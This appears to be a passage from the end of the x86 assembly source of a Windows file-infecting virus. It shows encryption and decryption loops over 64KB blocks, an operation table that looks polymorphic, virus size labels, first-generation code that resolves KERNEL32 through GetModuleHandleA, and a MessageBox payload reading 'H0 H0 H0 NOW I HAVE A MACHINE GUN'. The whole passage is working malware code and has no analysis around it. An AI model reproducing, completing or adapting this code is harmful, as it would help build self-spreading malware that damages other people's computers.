Go_last_block2 call DeEncrypt64KbBlocks call StoreOneBlock loop CheckLasting2 Go_last_block2: pop dx cmp dx,4d ; Last block shit jc Thisisfinished push esi lodsd call DeEncryptBlock pop edi stosd Thisisfinished: ret ;--------------------------------------------------------------------------- Decrypt: call DeEncrypt_stuff ret OperationTable: db 31d dup (?) ; 30 for 24 operations, 1 for last one virus_end label byte virus_size equ virus_end-v_start ; FIRST GENERATION ONLY diff_external equ external_first_gen_ops-Decryption external_first_gen_ops: lea eax,[Kernel32+ebp] ; GetModuleHandle for the push eax ;first virus segregation. call GetModuleHandleA mov dword ptr [GetMHandle+ebp],eax sub dword ptr [external_address+ebp],diff_external ret Kernel32: db 'KERNEL32.DLL',0 First_out: push MB_ICONEXCLAMATION push offset Azathoth push offset WriteOurText push NULL call MessageBoxA call ExitProcess WriteOurText: db 'H0 H0 H0 NOW I HAVE A MACHINE GUN',0 include Win32api.inc include PE.inc end Start